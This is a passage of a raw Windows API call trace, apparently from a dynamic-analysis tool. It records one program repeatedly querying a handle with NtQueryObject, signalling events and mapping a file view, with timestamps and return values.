lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.559] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.559] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.559] ResetEvent (hEvent=0xe8) returned 1 [0057.559] SetEvent (hEvent=0xec) returned 1 [0057.559] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.559] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.559] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.559] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.559] ResetEvent (hEvent=0xe8) returned 1 [0057.559] SetEvent (hEvent=0xec) returned 1 [0057.559] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.559] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.559] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.559] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.559] ResetEvent (hEvent=0xe8) returned 1 [0057.560] SetEvent (hEvent=0xec) returned 1 [0057.560] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.560] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.560] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.560] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.560] ResetEvent (hEvent=0xe8) returned 1 [0057.560] SetEvent (hEvent=0xec) returned 1 [0057.560] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.560] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.560] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.560] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.560] ResetEvent (hEvent=0xe8) returned 1 [0057.560] SetEvent (hEvent=0xec) returned 1 [0057.560] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.560] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.560] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.560] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.561] ResetEvent (hEvent=0xe8) returned 1 [0057.561] SetEvent (hEvent=0xec) returned 1 [0057.561] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.561] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.561] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.561] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.561] ResetEvent (hEvent=0xe8) returned 1 [0057.561] SetEvent (hEvent=0xec) returned 1 [0057.561] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.561] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.561] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.561] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.561] ResetEvent (hEvent=0xe8) returned 1 [0057.561] SetEvent (hEvent=0xec) returned 1 [0057.561] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.561] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.561] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.561] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.562] ResetEvent (hEvent=0xe8) returned 1 [0057.562] SetEvent (hEvent=0xec) returned 1 [0057.562] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.562] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.562] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.562] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.562] ResetEvent (hEvent=0xe8) returned 1 [0057.562] SetEvent (hEvent=0xec) returned 1 [0057.562] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.562] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.562] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.562] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.562] ResetEvent (hEvent=0xe8) returned 1 [0057.562] SetEvent (hEvent=0xec) returned 1 [0057.562] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.562] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.562] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.562] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.562] ResetEvent (hEvent=0xe8) returned 1 [0057.563] SetEvent (hEvent=0xec) returned 1 [0057.563] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.563] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.563] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.563] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.563] ResetEvent (hEvent=0xe8) returned 1 [0057.563] SetEvent (hEvent=0xec) returned 1 [0057.563] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.563] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.563] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.563] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.563] ResetEvent (hEvent=0xe8) returned 1 [0057.563] SetEvent (hEvent=0xec) returned 1 [0057.563] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.563] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.563] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.563] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.563] ResetEvent (hEvent=0xe8) returned 1 [0057.563] SetEvent (hEvent=0xec) returned 1 [0057.564] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.564] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.564] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.564] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.564] ResetEvent (hEvent=0xe8) returned 1 [0057.564] SetEvent (hEvent=0xec) returned 1 [0057.564] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.564] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.564] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.564] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.564] ResetEvent (hEvent=0xe8) returned 1 [0057.564] SetEvent (hEvent=0xec) returned 1 [0057.564] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.564] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.564] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.564] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.564] ResetEvent (hEvent=0xe8) returned 1 [0057.564] SetEvent (hEvent=0xec) returned 1 [0057.565] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.565] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.565] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.565] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.565] ResetEvent (hEvent=0xe8) returned 1 [0057.565] SetEvent (hEvent=0xec) returned 1 [0057.565] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.565] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.565] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.565] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.565] ResetEvent (hEvent=0xe8) returned 1 [0057.565] SetEvent (hEvent=0xec) returned 1 [0057.565] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.565] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.565] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.565] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.565] ResetEvent (hEvent=0xe8) returned 1 [0057.565] SetEvent (hEvent=0xec) returned 1 [0057.565] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.566] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.566] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.566] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.566] ResetEvent (hEvent=0xe8) returned 1 [0057.566] SetEvent (hEvent=0xec) returned 1 [0057.566] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.566] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.566] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.566] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.566] ResetEvent (hEvent=0xe8) returned 1 [0057.566] SetEvent (hEvent=0xec) returned 1 [0057.566] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.566] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.566] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.566] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.566] ResetEvent (hEvent=0xe8) returned 1 [0057.566] SetEvent (hEvent=0xec) returned 1 [0057.566] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.566] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.567] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.567] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.567] ResetEvent (hEvent=0xe8) returned 1 [0057.567] SetEvent (hEvent=0xec) returned 1 [0057.567] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.567] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.567] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.567] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.567] ResetEvent (hEvent=0xe8) returned 1 [0057.567] SetEvent (hEvent=0xec) returned 1 [0057.567] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.567] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.567] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.567] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.567] ResetEvent (hEvent=0xe8) returned 1 [0057.567] SetEvent (hEvent=0xec) returned 1 [0057.567] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.567] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.567] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.568] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.568] ResetEvent (hEvent=0xe8) returned 1 [0057.568] SetEvent (hEvent=0xec) returned 1 [0057.568] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.568] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.568] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.568] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.568] ResetEvent (hEvent=0xe8) returned 1 [0057.568] SetEvent (hEvent=0xec) returned 1 [0057.568] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.568] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.568] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.568] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.568] ResetEvent (hEvent=0xe8) returned 1 [0057.568] SetEvent (hEvent=0xec) returned 1 [0057.568] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.568] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.569] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.569] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.569] ResetEvent (hEvent=0xe8) returned 1 [0057.569] SetEvent (hEvent=0xec) returned 1 [0057.569] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.569] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.569] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.569] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.569] ResetEvent (hEvent=0xe8) returned 1 [0057.569] SetEvent (hEvent=0xec) returned 1 [0057.569] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.569] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.569] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.569] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.569] ResetEvent (hEvent=0xe8) returned 1 [0057.569] SetEvent (hEvent=0xec) returned 1 [0057.569] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.569] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.569] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.570] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.570] ResetEvent (hEvent=0xe8) returned 1 [0057.570] SetEvent (hEvent=0xec) returned 1 [0057.570] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.570] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.570] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.570] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.570] ResetEvent (hEvent=0xe8) returned 1 [0057.570] SetEvent (hEvent=0xec) returned 1 [0057.570] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.570] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.570] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.570] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.570] MapViewOfFile (hFileMappingObject=0x180, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0057.570] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xed0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xed0048, ResultLength=0x0) returned 0xc0000098 [0057.570] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0057.570] ResetEvent (hEvent=0xe8) returned 1 [0057.570] SetEvent (hEvent=0xec) returned 1 [0057.570] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.571] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.571] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.571] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.571] MapViewOfFile (hFileMappingObject=0x180, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0057.571] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xed0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xed0048, ResultLength=0x0) returned 0xc0000098 [0057.571] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0057.571] ResetEvent (hEvent=0xe8) returned 1 [0057.571] SetEvent (hEvent=0xec) returned 1 [0057.571] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.571] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.571] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.571] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.571] MapViewOfFile (hFileMappingObject=0x180, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0057.571] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xed0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xed0048, ResultLength=0x0) returned 0xc0000098 [0057.571] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0057.571] ResetEvent (hEvent=0xe8) returned 1 [0057.571] SetEvent (hEvent=0xec) returned 1 [0057.571] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.572] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.572] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.572] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.572] MapViewOfFile (hFileMappingObject=0x180, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0057.572] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xed0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xed0048, ResultLength=0x0) returned 0xc0000098 [0057.572] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0057.572] ResetEvent (hEvent=0xe8) returned 1 [0057.572] SetEvent (hEvent=0xec) returned 1 [0057.572] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.572] 